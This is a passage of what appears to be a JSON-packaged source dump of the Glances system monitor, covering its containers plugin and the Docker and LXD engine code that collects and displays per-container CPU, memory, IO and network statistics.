ContainersExtension] = {}\n\n        # Init the Docker API\n        if not disable_plugin_docker:\n            self.watchers['docker'] = DockerExtension()\n\n        # Init the Podman API\n        if not disable_plugin_podman:\n            self.watchers['podman'] = PodmanExtension(podman_sock=self._podman_sock())\n\n        # Init the LXD API\n        if not disable_plugin_lxd:\n            self.watchers['lxd'] = LxdExtension(poll_interval=self.get_refresh())\n\n        # Sort key\n        self.sort_key = None\n\n        # Set the key's list be disabled in order to only display specific attribute in the container list\n        self.disable_stats = self.get_conf_value('disable_stats')\n\n        # Force a first update because we need two update to have the first stat\n        self.update()\n        self.refresh_timer.set(0)\n\n    def _podman_sock(self) -> str:\n        \"\"\"Return the podman sock.\n        Could be desfined in the [docker] section thanks to the podman_sock option.\n        Default value: unix:///run/user/1000/podman/podman.sock\n        \"\"\"\n        conf_podman_sock = self.get_conf_value('podman_sock')\n        if not conf_podman_sock:\n            return \"unix:///run/user/1000/podman/podman.sock\"\n        return conf_podman_sock[0]\n\n    def exit(self) -> None:\n        \"\"\"Overwrite the exit method to close threads.\"\"\"\n        for watcher in self.watchers.values():\n            watcher.stop()\n\n        # Call the father class\n        super().exit()\n\n    def get_key(self) -> str:\n        \"\"\"Return the key of the list.\"\"\"\n        return 'name'\n\n    def get_export(self) -> list[dict]:\n        \"\"\"Overwrite the default export method.\n\n        - Only exports containers\n        - The key is the first container name\n        \"\"\"\n        try:\n            ret = deepcopy(self.stats)\n        except KeyError as e:\n            logger.debug(f\"docker plugin - Docker export error {e}\")\n            ret = []\n\n        # Remove fields uses to compute rate\n        for container in ret:\n            for i in export_exclude_list:\n                container.pop(i)\n\n        return ret\n\n    def _all_tag(self) -> bool:\n        \"\"\"Return the all tag of the Glances/Docker configuration file.\n\n        # By default, Glances only display running containers\n        # Set the following key to True to display all containers\n        all=True\n        \"\"\"\n        all_tag = self.get_conf_value('all')\n        if not all_tag:\n            return False\n        return all_tag[0].lower() == 'true'\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self) -> list[dict]:\n        \"\"\"Update Docker and podman stats using the input method.\"\"\"\n        # Connection should be ok\n        if not self.watchers:\n            return self.get_init_value()\n\n        if self.input_method != 'local':\n            return self.get_init_value()\n\n        def is_key_in_container_and_hidden(container):\n            return (key := container.get('key')) in container and self.is_hide(nativestr(container.get(key)))\n\n        def add_engine_into_container(engine, container):\n            return container | {\"engine\": engine}\n\n        def get_containers_from_updated_watcher(watcher):\n            _, containers = watcher.update(all_tag=self._all_tag())\n            return containers\n\n        # Update stats\n        stats = list(\n            chain.from_iterable(\n                (\n                    add_engine_into_container(engine, container)\n                    for container in get_containers_from_updated_watcher(watcher)\n                    if not is_key_in_container_and_hidden(container)\n                )\n                for engine, watcher in self.watchers.items()\n            )\n        )\n\n        # Sort and update the stats\n        # @TODO: Have a look because sort did not work for the moment (need memory stats ?)\n        self.sort_key, self.stats = sort_docker_stats(stats)\n        return self.stats\n\n    @staticmethod\n    def memory_usage_no_cache(mem: dict[str, float]) -> float:\n        \"\"\"Return the 'real' memory usage by removing inactive_file to usage\"\"\"\n        # Ref: https://github.com/docker/docker-py/issues/3210\n        return mem['usage'] - (mem['inactive_file'] if 'inactive_file' in mem else 0)\n\n    def update_views(self) -> bool:\n        \"\"\"Update stats views.\"\"\"\n        # Call the father's method\n        super().update_views()\n\n        if not self.stats:\n            return False\n\n        # Add specifics information\n        # Alert\n        for i in self.stats:\n            # Init the views for the current container (key = container name)\n            self.views[i[self.get_key()]] = {'cpu': {}, 'mem': {}}\n            # CPU alert\n            if 'cpu' in i and 'total' in i['cpu']:\n                # Looking for specific CPU container threshold in the conf file\n                alert = self.get_alert(i['cpu']['total'], header='cpu', action_key=i['name'])\n                if alert == 'DEFAULT':\n                    # Not found ? Get back to default CPU threshold value\n                    alert = self.get_alert(i['cpu']['total'], header='cpu')\n                if 'cpu' in self.views[i[self.get_key()]]:\n                    self.views[i[self.get_key()]]['cpu']['decoration'] = alert\n            # MEM alert\n            if 'memory' in i and 'usage' in i['memory']:\n                # Looking for specific MEM container threshold in the conf file\n                alert = self.get_alert(\n                    self.memory_usage_no_cache(i['memory']),\n                    maximum=i['memory']['limit'],\n                    header='mem',\n                    action_key=i['name'],\n                )\n                if alert == 'DEFAULT':\n                    # Not found ? Get back to default MEM threshold value\n                    alert = self.get_alert(\n                        self.memory_usage_no_cache(i['memory']), maximum=i['memory']['limit'], header='mem'\n                    )\n                if 'mem' in self.views[i[self.get_key()]]:\n                    self.views[i[self.get_key()]]['mem']['decoration'] = alert\n\n        # Display Engine and Pod name ?\n        show_pod_name = False\n        if any(ct.get(\"pod_name\") for ct in self.stats):\n            show_pod_name = True\n        self.views['show_pod_name'] = show_pod_name\n        show_engine_name = False\n        if len({ct[\"engine\"] for ct in self.stats}) > 1:\n            show_engine_name = True\n        self.views['show_engine_name'] = show_engine_name\n\n        return True\n\n    def build_title(self, ret):\n        msg = '{}'.format('CONTAINERS')\n        ret.append(self.curse_add_line(msg, \"TITLE\"))\n        if len(self.stats) > 1:\n            msg = f' {len(self.stats)}'\n            ret.append(self.curse_add_line(msg))\n            msg = f' sorted by {sort_for_human[self.sort_key]}'\n            ret.append(self.curse_add_line(msg))\n        if not self.views['show_engine_name']:\n            msg = f' (served by {self.stats[0].get(\"engine\", \"\")})'\n        ret.append(self.curse_add_line(msg))\n        ret.append(self.curse_new_line())\n        return ret\n\n    def maybe_add_engine_name_or_pod_line(self, ret):\n        if self.views['show_engine_name']:\n            ret = self.add_msg_to_line(ret, ' {:{width}}'.format('Engine', width=6))\n        if self.views['show_pod_name']:\n            ret = self.add_msg_to_line(ret, ' {:{width}}'.format('Pod', width=12))\n\n        return ret\n\n    def maybe_add_engine_name_or_pod_name(self, ret, container):\n        ret.append(self.curse_new_line())\n        if self.views['show_engine_name']:\n            ret.append(self.curse_add_line(' {:{width}}'.format(container[\"engine\"], width=6)))\n        if self.views['show_pod_name']:\n            ret.append(self.curse_add_line(' {:{width}}'.format(container.get(\"pod_id\", \"-\"), width=12)))\n\n        return ret\n\n    def build_container_name(self, name_max_width):\n        def build_for_this_max_length(ret, container):\n            ret.append(\n                self.curse_add_line(' {:{width}}'.format(container['name'][:name_max_width], width=name_max_width))\n            )\n\n            return ret\n\n        return build_for_this_max_length\n\n    def build_header(self, ret, name_max_width):\n        ret.append(self.curse_new_line())\n\n        ret = self.maybe_add_engine_name_or_pod_line(ret)\n\n        if 'name' not in self.disable_stats:\n            msg = ' {:{width}}'.format('Name', width=name_max_width)\n            ret.append(self.curse_add_line(msg, 'SORT' if self.sort_key == 'name' else 'DEFAULT'))\n\n        msgs = []\n        if 'status' not in self.disable_stats:\n            msgs.append('{:>10}'.format('Status'))\n        if 'uptime' not in self.disable_stats:\n            msgs.append('{:>10}'.format('Uptime'))\n        ret = reduce(self.add_msg_to_line, msgs, ret)\n\n        if 'cpu' not in self.disable_stats:\n            msg = '{:>6}'.format('CPU%')\n            ret.append(self.curse_add_line(msg, 'SORT' if self.sort_key == 'cpu_percent' else 'DEFAULT'))\n\n        msgs = []\n        if 'mem' not in self.disable_stats:\n            msg = '{:>7}'.format('MEM')\n            ret.append(self.curse_add_line(msg, 'SORT' if self.sort_key == 'memory_usage' else 'DEFAULT'))\n            msgs.append('/{:<7}'.format('MAX'))\n\n        if 'diskio' not in self.disable_stats:\n            msgs.extend(['{:>7}'.format('IOR/s'), ' {:<7}'.format('IOW/s')])\n\n        if 'networkio' not in self.disable_stats:\n            msgs.extend(['{:>7}'.format('Rx/s'), ' {:<7}'.format('Tx/s')])\n\n        if 'ports' not in self.disable_stats:\n            msgs.extend('{:16}'.format('Ports'))\n\n        if 'command' not in self.disable_stats:\n            msgs.append(' {:8}'.format('Command'))\n\n        return reduce(self.add_msg_to_line, msgs, ret)\n\n    def add_msg_to_line(self, ret, msg):\n        ret.append(self.curse_add_line(msg))\n\n        return ret\n\n    def get_max_of_container_names(self):\n        return min(\n            self.config.get_int_value('containers', 'max_name_size', default=20) if self.config is not None else 20,\n            len(max(self.stats, key=lambda x: len(x['name']))['name']),\n        )\n\n    def build_status_name(self, ret, container):\n        status = self.container_alert(container['status'])\n        msg = '{:>10}'.format(container['status'][0:10])\n        ret.append(self.curse_add_line(msg, status))\n\n        return ret\n\n    def build_uptime_line(self, ret, container):\n        if container['uptime']:\n            msg = '{:>10}'.format(container['uptime'])\n        else:\n            msg = '{:>10}'.format('_')\n\n        return self.add_msg_to_line(ret, msg)\n\n    def build_cpu_line(self, ret, container):\n        try:\n            msg = '{:>6.1f}'.format(container['cpu']['total'])\n        except (KeyError, TypeError):\n            msg = '{:>6}'.format('_')\n        ret.append(self.curse_add_line(msg, self.get_views(item=container['name'], key='cpu', option='decoration')))\n\n        return ret\n\n    def build_memory_line(self, ret, container):\n        try:\n            msg = '{:>7}'.format(self.auto_unit(self.memory_usage_no_cache(container['memory'])))\n        except KeyError:\n            msg = '{:>7}'.format('_')\n        ret.append(self.curse_add_line(msg, self.get_views(item=container['name'], key='mem', option='decoration')))\n        try:\n            msg = '/{:<7}'.format(self.auto_unit(container['memory']['limit']))\n        except (KeyError, TypeError):\n            msg = '/{:<7}'.format('_')\n        ret.append(self.curse_add_line(msg))\n\n        return ret\n\n    def build_io_line(self, ret, container):\n        unit = 'B'\n        try:\n            value = self.auto_unit(int(container['io_rx'])) + unit\n            msg = f'{value:>7}'\n        except (KeyError, TypeError):\n            msg = '{:>7}'.format('_')\n        ret.append(self.curse_add_line(msg))\n        try:\n            value = self.auto_unit(int(container['io_wx'])) + unit\n            msg = f' {value:<7}'\n        except (KeyError, TypeError):\n            msg = ' {:<7}'.format('_')\n        ret.append(self.curse_add_line(msg))\n\n        return ret\n\n    def build_net_line(self, args):\n        def build_with_this_args(ret, container):\n            if args and args.byte:\n                # Bytes per second (for dummy)\n                to_bit = 1\n                unit = ''\n            else:\n                # Bits per second (for real network administrator | Default)\n                to_bit = 8\n                unit = 'b'\n            try:\n                value = self.auto_unit(int(container['network_rx'] * to_bit)) + unit\n                msg = f'{value:>7}'\n            except (KeyError, TypeError):\n                msg = '{:>7}'.format('_')\n            ret.append(self.curse_add_line(msg))\n            try:\n                value = self.auto_unit(int(container['network_tx'] * to_bit)) + unit\n                msg = f' {value:<7}'\n            except (KeyError, TypeError):\n                msg = ' {:<7}'.format('_')\n            ret.append(self.curse_add_line(msg))\n\n            return ret\n\n        return build_with_this_args\n\n    def build_ports(self, ret, container):\n        if container.get('ports', '') != '':\n            msg = '{:16}'.format(container['ports'])\n        else:\n            msg = '{:16}'.format('_')\n        ret.append(self.curse_add_line(msg, splittable=True))\n\n        return ret\n\n    def build_cmd_line(self, ret, container):\n        if container['command'] is not None:\n            msg = ' {}'.format(container['command'])\n        else:\n            msg = ' {}'.format('_')\n        ret.append(self.curse_add_line(msg, splittable=True))\n\n        return ret\n\n    def msg_curse(self, args=None, max_width: int | None = None) -> list[str]:\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        # Init the return message\n        init = []\n\n        # Only process if stats exist (and non null) and display plugin enable...\n        if any([not self.stats, len(self.stats) == 0, self.is_disabled()]):\n            return init\n\n        # Build the string message\n        # Get the maximum containers name\n        # Max size is configurable. See feature request #1723.\n        name_max_width = self.get_max_of_container_names()\n\n        steps = [\n            self.build_title,\n            partial(self.build_header, name_max_width=name_max_width),\n            self.build_data_line(name_max_width, args),\n        ]\n\n        return reduce(lambda ret, step: step(ret), steps, init)\n\n    def build_data_line(self, name_max_width, args):\n        def build_for_this_params(ret):\n            build_data_with_params = self.build_container_data(name_max_width, args)\n            return reduce(build_data_with_params, self.stats, ret)\n\n        return build_for_this_params\n\n    def build_container_data(self, name_max_width, args):\n        def build_with_this_params(ret, container):\n            steps = [self.maybe_add_engine_name_or_pod_name]\n            options = {\n                'name': self.build_container_name(name_max_width),\n                'status': self.build_status_name,\n                'uptime': self.build_uptime_line,\n                'cpu': self.build_cpu_line,\n                'mem': self.build_memory_line,\n                'diskio': self.build_io_line,\n                'networkio': self.build_net_line(args),\n                'ports': self.build_ports,\n                'command': self.build_cmd_line,\n            }\n            steps.extend(v for k, v in options.items() if k not in self.disable_stats)\n            return reduce(lambda ret, step: step(ret, container), steps, ret)\n\n        return build_with_this_params\n\n    @staticmethod\n    def container_alert(status: str) -> str:\n        \"\"\"Analyse the container status.\n        One of created, restarting, running, removing, paused, exited, or dead\n        \"\"\"\n        if status in ('running', 'healthy'):\n            return 'OK'\n        if status in ('dead', 'unhealthy'):\n            return 'ERROR'\n        if status in ['created', 'exited']:\n            return 'WARNING'\n        if status in ['paused', 'restarting']:\n            return 'CAREFUL'\n        return 'INFO'\n\n\ndef sort_docker_stats(stats: list[dict[str, Any]]) -> tuple[str, list[dict[str, Any]]]:\n    # Make VM sort related to process sort\n    sort_by, sort_by_secondary = {\n        'memory_percent': ('memory_usage', 'cpu_percent'),\n        'name': ('name', 'cpu_percent'),\n    }.get(glances_processes.sort_key, ('cpu_percent', 'memory_usage'))\n\n    # Sort docker stats\n    stats = sort_stats_processes(\n        stats,\n        sorted_by=sort_by,\n        sorted_by_secondary=sort_by_secondary,\n        # Reverse for all but name\n        reverse=glances_processes.sort_key != 'name',\n    )\n\n    # Return the main sort key and the sorted stats\n    return sort_by, stats\n\n\n# End of file\n"
  },
  {
    "path": "glances/plugins/containers/engines/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\nfrom typing import Any, Protocol\n\n\nclass ContainersExtension(Protocol):\n    def stop(self) -> None:\n        raise NotImplementedError\n\n    def update(self, all_tag) -> tuple[dict, list[dict[str, Any]]]:\n        raise NotImplementedError\n"
  },
  {
    "path": "glances/plugins/containers/engines/docker.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Docker Extension unit for Glances' Containers plugin.\"\"\"\n\nimport time\nfrom typing import Any\n\nfrom glances.globals import nativestr, pretty_date, replace_special_chars\nfrom glances.logger import logger\nfrom glances.stats_streamer import ThreadedIterableStreamer\n\n# Docker-py library (optional and Linux-only)\n# https://github.com/docker/docker-py\ntry:\n    import docker\n    import requests\n    from dateutil import parser, tz\nexcept Exception as e:\n    disable_plugin_docker = True\n    # Display debug message if import KeyError\n    logger.warning(f\"Error loading Docker deps Lib. Docker plugin is disabled ({e})\")\nelse:\n    disable_plugin_docker = False\n\n\nclass DockerStatsFetcher:\n    MANDATORY_MEMORY_FIELDS = ['usage', 'limit']\n\n    def __init__(self, container):\n        self._container = container\n\n        # Previous computes stats are stored in the self._old_computed_stats variable\n        # We store time data to enable IoR/s & IoW/s calculations to avoid complexity for consumers of the APIs exposed.\n        self._old_computed_stats = {}\n\n        # Last time when output stats (results) were computed\n        self._last_stats_computed_time = 0\n\n        # Threaded Streamer\n        stats_iterable = container.stats(decode=True)\n        self._streamer = ThreadedIterableStreamer(stats_iterable, initial_stream_value={})\n\n    def _log_debug(self, msg, exception=None):\n        logger.debug(f\"containers (Docker) ID: {self._container.id} - {msg} ({exception}) \")\n        logger.debug(self._streamer.stats)\n\n    def stop(self):\n        self._streamer.stop()\n\n    @property\n    def activity_stats(self) -> dict[str, dict[str, Any]]:\n        \"\"\"Activity Stats\n\n        Each successive access of activity_stats will cause computation of activity_stats\n        \"\"\"\n        computed_activity_stats = self._compute_activity_stats()\n        self._old_computed_stats = computed_activity_stats\n        self._last_stats_computed_time = time.time()\n        return computed_activity_stats\n\n    def _compute_activity_stats(self) -> dict[str, dict[str, Any]]:\n        with self._streamer.result_lock:\n            io_stats = self._get_io_stats()\n            cpu_stats = self._get_cpu_stats()\n            memory_stats = self._get_memory_stats()\n            network_stats = self._get_network_stats()\n\n        return {\n            \"io\": io_stats or {},\n            \"memory\": memory_stats or {},\n            \"network\": network_stats or {},\n            \"cpu\": cpu_stats or {\"total\": 0.0},\n        }\n\n    @property\n    def time_since_update(self) -> float:\n        # In case no update, default to 1\n        return max(1, self._streamer.last_update_time - self._last_stats_computed_time)\n\n    def _get_cpu_stats(self) -> dict[str, float] | None:\n        \"\"\"Return the container CPU usage.\n\n        Output: a dict {'total': 1.49}\n        \"\"\"\n        stats = {'total': 0.0}\n\n        try:\n            cpu_stats = self._streamer.stats['cpu_stats']\n            precpu_stats = self._streamer.stats['precpu_stats']\n            cpu = {'system': cpu_stats['system_cpu_usage'], 'total': cpu_stats['cpu_usage']['total_usage']}\n            precpu = {'system': precpu_stats['system_cpu_usage'], 'total': precpu_stats['cpu_usage']['total_usage']}\n\n            # Issue #1857\n            # If either precpu_stats.online_cpus or cpu_stats.online_cpus is nil\n            # then for compatibility with older daemons the length of\n            # the corresponding cpu_usage.percpu_usage array should be used.\n            cpu['nb_core'] = cpu_stats.get('online_cpus') or len(cpu_stats['cpu_usage']['percpu_usage'] or [])\n        except KeyError as e:\n            self._log_debug(\"Can't grab CPU stats\", e)\n            return None\n\n        try:\n            cpu_delta = cpu['total'] - precpu['total']\n            system_cpu_delta = cpu['system'] - precpu['system']\n            # CPU usage % = (cpu_delta / system_cpu_delta) * number_cpus * 100.0\n            stats['total'] = (cpu_delta / system_cpu_delta) * cpu['nb_core'] * 100.0\n        except TypeError as e:\n            self._log_debug(\"Can't compute CPU usage\", e)\n            return None\n\n        # Return the stats\n        return stats\n\n    def _get_memory_stats(self) -> dict[str, float] | None:\n        \"\"\"Return the container MEMORY.\n\n        Output: a dict {'usage': ..., 'limit': ..., 'inactive_file': ...}\n\n        Note:the displayed memory usage is 'usage - inactive_file'\n        \"\"\"\n        memory_stats = self._streamer.stats.get('memory_stats')\n\n        # Checks for memory_stats & mandatory fields\n        if not memory_stats or any(field not in memory_stats for field in self.MANDATORY_MEMORY_FIELDS):\n            self._log_debug(\"Missing MEM usage fields\")\n            return None\n\n        stats = {field: memory_stats[field] for field in self.MANDATORY_MEMORY_FIELDS}\n\n        # Optional field stats: inactive_file\n        if memory_stats.get('stats', {}).get('inactive_file') is not None:\n            stats['inactive_file'] = memory_stats['stats']['inactive_file']\n\n        # Return the stats\n        return stats\n\n    def _get_network_stats(self) -> dict[str, float] | None:\n        \"\"\"Return the container network usage using the Docker API (v1.0 or higher).\n\n        Output: a dict {'time_since_update': 3000, 'rx': 10, 'tx': 65}.\n        with:\n            time_since_update: number of seconds elapsed between the latest grab\n            rx: Number of bytes received\n            tx: Number of bytes transmitted\n        \"\"\"\n        eth0_stats = self._streamer.stats.get('networks', {}).get('eth0')\n\n        # Checks for net_stats & mandatory fields\n        if not eth0_stats or any(field not in eth0_stats for field in ['rx_bytes', 'tx_bytes']):\n            self._log_debug(\"Missing Network usage fields\")\n            return None\n\n        # Read the rx/tx stats (in bytes)\n        stats = {'cumulative_rx': eth0_stats[\"rx_bytes\"], 'cumulative_tx': eth0_stats[\"tx_bytes\"]}\n\n        # Using previous stats to calculate rates\n        old_network_stats = self._old_computed_stats.get(\"network\")\n        if old_network_stats:\n            stats['time_since_update'] = round(self.time_since_update)\n            stats['rx'] = stats['cumulative_rx'] - old_network_stats[\"cumulative_rx\"]\n            stats['tx'] = stats['cumulative_tx'] - old_network_stats['cumulative_tx']\n\n        # Return the stats\n        return stats\n\n    def _get_io_stats(self) -> dict[str, float] | None:\n        \"\"\"Return the container IO usage using the Docker API (v1.0 or higher).\n\n        Output: a dict {'time_since_update': 3000, 'ior': 10, 'iow': 65}.\n        with:\n            time_since_update: number of seconds elapsed between the latest grab\n            ior: Number of bytes read\n            iow: Number of bytes written\n        \"\"\"\n        io_service_bytes_recursive = self._streamer.stats.get('blkio_stats', {}).get('io_service_bytes_recursive')\n\n        # Checks for net_stats\n        if not io_service_bytes_recursive:\n            self._log_debug(\"Missing blockIO usage fields\")\n            return None\n\n        # Read the ior/iow stats (in bytes)\n        try:\n            # Read IOR and IOW value in the structure list of dict\n            cumulative_ior = [i for i in io_service_bytes_recursive if i['op'].lower() == 'read'][0]['value']\n            cumulative_iow = [i for i in io_service_bytes_recursive if i['op'].lower() == 'write'][0]['value']\n        except (TypeError, IndexError, KeyError, AttributeError) as e:\n            self._log_debug(\"Can't grab blockIO usage\", e)  # stats do not have io information\n            return None\n\n        stats = {'cumulative_ior': cumulative_ior, 'cumulative_iow': cumulative_iow}\n\n        # Using previous stats to calculate difference\n        old_io_stats = self._old_computed_stats.get(\"io\")\n        if old_io_stats:\n            stats['time_since_update'] = round(self.time_since_update)\n            stats['ior'] = stats['cumulative_ior'] - old_io_stats[\"cumulative_ior\"]\n            stats['iow'] = stats['cumulative_iow'] - old_io_stats[\"cumulative_iow\"]\n\n        # Return the stats\n        return stats\n\n\nclass DockerExtension:\n    \"\"\"Glances' Containers Plugin's Docker Extension unit\"\"\"\n\n    CONTAINER_ACTIVE_STATUS = ['running', 'healthy', 'paused']\n\n    def __init__(self):\n        self.disable = disable_plugin_docker\n        if self.disable:\n            raise Exception(\"Missing libs required to run Docker Extension (Containers) \")\n\n        self.display_error = True\n\n        self.client = None\n        self.ext_name = \"containers (Docker)\"\n        self.stats_fetchers = {}\n\n        self.connect()\n\n    def connect(self) -> None:\n        \"\"\"Connect to the Docker server.\"\"\"\n        # Init the Docker API Client\n        try:\n            # Do not use the timeout option (see issue #1878)\n            self.client = docker.from_env()\n        except Exception as e:\n            logger.error(f\"{self.ext_name} plugin - Can't connect to Docker ({e})\")\n            self.client = None\n\n    def update_version(self):\n        # Long and not useful anymore because the information is no more displayed in UIs\n        # return self.client.version()\n        return {}\n\n    def stop(self) -> None:\n        # Stop all streaming threads\n        for t in self.stats_fetchers.values():\n            t.stop()\n\n    def update(self, all_tag) -> tuple[dict, list[dict]]:\n        \"\"\"Update Docker stats using the input method.\"\"\"\n\n        if not self.client or self.disable:\n            return {}, []\n\n        version_stats = self.update_version()\n\n        # Update current containers list\n        try:\n            # Issue #1152: Docker module doesn't export details about stopped containers\n            # The Containers/all key of the configuration file should be set to True\n            containers = self.client.containers.list(all=all_tag)\n            self.display_error = True\n        except Exception as e:\n            if self.display_error:\n                logger.error(f\"{self.ext_name} plugin - Can't get containers list ({e})\")\n                self.display_error = False\n            else:\n                logger.debug(f\"{self.ext_name} plugin - Can't get containers list ({e})\")\n            return version_stats, []\n\n        # Start new thread for new container\n        for container in containers:\n            if container.id not in self.stats_fetchers:\n                # StatsFetcher did not exist in the internal dict\n                # Create it, add it to the internal dict\n                logger.debug(f\"{self.ext_name} plugin - Create thread for container {container.id[:12]}\")\n                self.stats_fetchers[container.id] = DockerStatsFetcher(container)\n\n        # Stop threads for non-existing containers\n        absent_containers = set(self.stats_fetchers.keys()) - {c.id for c in containers}\n        for container_id in absent_containers:\n            # Stop the StatsFetcher\n            logger.debug(f\"{self.ext_name} plugin - Stop thread for old container {container_id[:12]}\")\n            self.stats_fetchers[container_id].stop()\n            # Delete the StatsFetcher from the dict\n            del self.stats_fetchers[container_id]\n\n        # Get stats for all containers\n        container_stats = [self.generate_stats(container) for container in containers]\n        return version_stats, container_stats\n\n    @property\n    def key(self) -> str:\n        \"\"\"Return the key of the list.\"\"\"\n        return 'name'\n\n    def generate_stats(self, container) -> dict[str, Any]:\n        # Init the stats for the current container\n        # Manage healthy status (see issue #3402)\n        status = container.attrs['State'].get('Health', container.attrs['State']).get('Status', '')\n        stats = {\n            'key': self.key,\n            'name': nativestr(container.name),\n            'id': container.id,\n            'status': status,\n            'created': container.attrs['Created'],\n            'command': [],\n            'io': {},\n            'cpu': {},\n            'memory': {},\n            'network': {},\n            'io_rx': None,\n            'io_wx': None,\n            'cpu_percent': None,\n            'memory_percent': None,\n            'network_rx': None,\n            'network_tx': None,\n            'ports': '',\n            'uptime': None,\n        }\n\n        # Container Image\n        try:\n            # API fails on Unraid - See issue 2233\n            stats['image'] = (','.join(container.image.tags if container.image.tags else []),)\n        except requests.exceptions.HTTPError:\n            stats['image'] = ''\n\n        if container.attrs['Config'].get('Entrypoint', None):\n            stats['command'].extend(container.attrs['Config'].get('Entrypoint', []))\n        if container.attrs['Config'].get('Cmd', None):\n            stats['command'].extend(container.attrs['Config'].get('Cmd', []))\n        if not stats['command']:\n            stats['command'] = None\n\n        if stats['status'] not in self.CONTAINER_ACTIVE_STATUS:\n            return stats\n\n        stats_fetcher = self.stats_fetchers[container.id]\n        activity_stats = stats_fetcher.activity_stats\n        stats.update(activity_stats)\n\n        # Additional fields\n        stats['cpu_percent'] = stats['cpu']['total']\n        stats['memory_usage'] = stats['memory'].get('usage')\n        if stats['memory'].get('cache') is not None:\n            stats['memory_usage'] -= stats['memory']['cache']\n        stats['memory_inactive_file'] = stats['memory'].get('inactive_file')\n        stats['memory_limit'] = stats['memory'].get('limit')\n\n        if all(k in stats['io'] for k in ('ior', 'iow', 'time_since_update')):\n            stats['io_rx'] = stats['io']['ior'] // stats['io']['time_since_update']\n            stats['io_wx'] = stats['io']['iow'] // stats['io']['time_since_update']\n\n        if all(k in stats['network'] for k in ('rx', 'tx', 'time_since_update')):\n            stats['network_rx'] = stats['network']['rx'] // stats['network']['time_since_update']\n            stats['network_tx'] = stats['network']['tx'] // stats['network']['time_since_update']\n\n        started_at = container.attrs['State']['StartedAt']\n        stats['uptime'] = pretty_date(parser.parse(started_at).astimezone(tz.tzlocal()).replace(tzinfo=None))\n\n        # Manage special chars in command (see issue#2733)\n        stats['command'] = replace_special_chars(' '.join(stats['command']))\n\n        # Manage ports (see issue#2054)\n        if hasattr(container, 'ports'):\n            stats['ports'] = ','.join(\n                [\n                    f'{container.ports[cp][0][\"HostPort\"]}->{cp}' if container.ports[cp] else f'{cp}'\n                    for cp in container.ports\n                ]\n            )\n\n        return stats\n"
  },
  {
    "path": "glances/plugins/containers/engines/lxd.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2026 Christian Rishøj <christian@rishoj.net>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n\n\"\"\"LXD Extension unit for Glances' Containers plugin.\"\"\"\n\nimport threading\nimport time\nfrom datetime import datetime\nfrom typing import Any\n\nfrom glances.globals import nativestr, pretty_date\nfrom glances.logger import logger\n\n# pylxd library (optional and Linux-only)\n# https://github.com/canonical/pylxd\ntry:\n    from pylxd import Client as LxdClient\nexcept Exception as e:\n    disable_plugin_lxd = True\n    logger.warning(f\"Error loading LXD deps Lib. LXD feature in the Containers plugin is disabled ({e})\")\nelse:\n    disable_plugin_lxd = False\n\n\nclass LxdStatsFetcher:\n    \"\"\"Fetch stats for a single LXD instance by polling its state.\"\"\"\n\n    def __init__(self, instance, poll_interval=2):\n        self._instance = instance\n        self._poll_interval = poll_interval\n\n        # Store previous stats for rate calculations\n        self._old_computed_stats = {}\n        self._last_stats_computed_time = time.time()\n\n        # Latest polled state\n        self._state = None\n        self._state_lock = threading.Lock()\n\n        # Polling thread\n        self._stopper = threading.Event()\n        self._thread = threading.Thread(target=self._poll_loop, daemon=True)\n        self._thread.start()\n\n    def _poll_loop(self):\n        \"\"\"Poll instance.state() in a background thread.\"\"\"\n        while not self._stopper.is_set():\n            try:\n                state = self._instance.state()\n                with self._state_lock:\n                    self._state = state\n            except Exception as e:\n                logger.debug(f\"containers (LXD) Instance({self._instance.name}): Failed to poll state ({e})\")\n            self._stopper.wait(self._poll_interval)\n\n    def stop(self):\n        self._stopper.set()\n\n    @property\n    def activity_stats(self) -> dict[str, dict[str, Any]]:\n        \"\"\"Compute activity stats from the latest polled state.\"\"\"\n        computed = self._compute_activity_stats()\n        self._old_computed_stats = computed\n        self._last_stats_computed_time = time.time()\n        return computed\n\n    @property\n    def time_since_update(self) -> float:\n        return max(1, time.time() - self._last_stats_computed_time)\n\n    def _compute_activity_stats(self) -> dict[str, dict[str, Any]]:\n        with self._state_lock:\n            state = self._state\n\n        if state is None:\n            return {\"cpu\": {}, \"memory\": {}, \"io\": {}, \"network\": {}}\n\n        return {\n            \"cpu\": self._get_cpu_stats(state),\n            \"memory\": self._get_memory_stats(state),\n            \"io\": self._get_io_stats(state),\n            \"network\": self._get_network_stats(state),\n        }\n\n    def _get_cpu_stats(self, state) -> dict[str, Any]:\n        \"\"\"Return CPU usage stats.\n\n        LXD reports cumulative CPU time in nanoseconds.\n        We compute a percentage from the delta between two polls.\n        \"\"\"\n        stats = {}\n        try:\n            cumulative_cpu_ns = state.cpu[\"usage\"]\n            stats[\"cumulative_ns\"] = cumulative_cpu_ns\n\n            old_cpu = self._old_computed_stats.get(\"cpu\", {})\n            if \"cumulative_ns\" in old_cpu:\n                delta_ns = cumulative_cpu_ns - old_cpu[\"cumulative_ns\"]\n                delta_seconds = self.time_since_update\n                # Convert ns delta to a percentage (assuming 1 core = 100%)\n                stats[\"total\"] = (delta_ns / (delta_seconds * 1e9)) * 100.0\n            else:\n                stats[\"total\"] = 0.0\n        except (KeyError, TypeError, ZeroDivisionError) as e:\n            logger.debug(f\"containers (LXD) Instance({self._instance.name}): Can't grab CPU stats ({e})\")\n        return stats\n\n    def _get_memory_stats(self, state) -> dict[str, Any]:\n        \"\"\"Return memory usage stats.\n\n        LXD reports memory values in bytes.\n        'total' is 0 when unlimited; fall back to usage_peak.\n        \"\"\"\n        stats = {}\n        try:\n            stats[\"usage\"] = state.memory[\"usage\"]\n            mem_total = state.memory.get(\"total\", 0)\n            if mem_total > 0:\n                stats[\"limit\"] = mem_total\n            else:\n                stats[\"limit\"] = state.memory.get(\"usage_peak\", state.memory[\"usage\"])\n            stats[\"inactive_file\"] = 0\n        except (KeyError, TypeError) as e:\n            logger.debug(f\"containers (LXD) Instance({self._instance.name}): Can't grab MEM stats ({e})\")\n        return stats\n\n    def 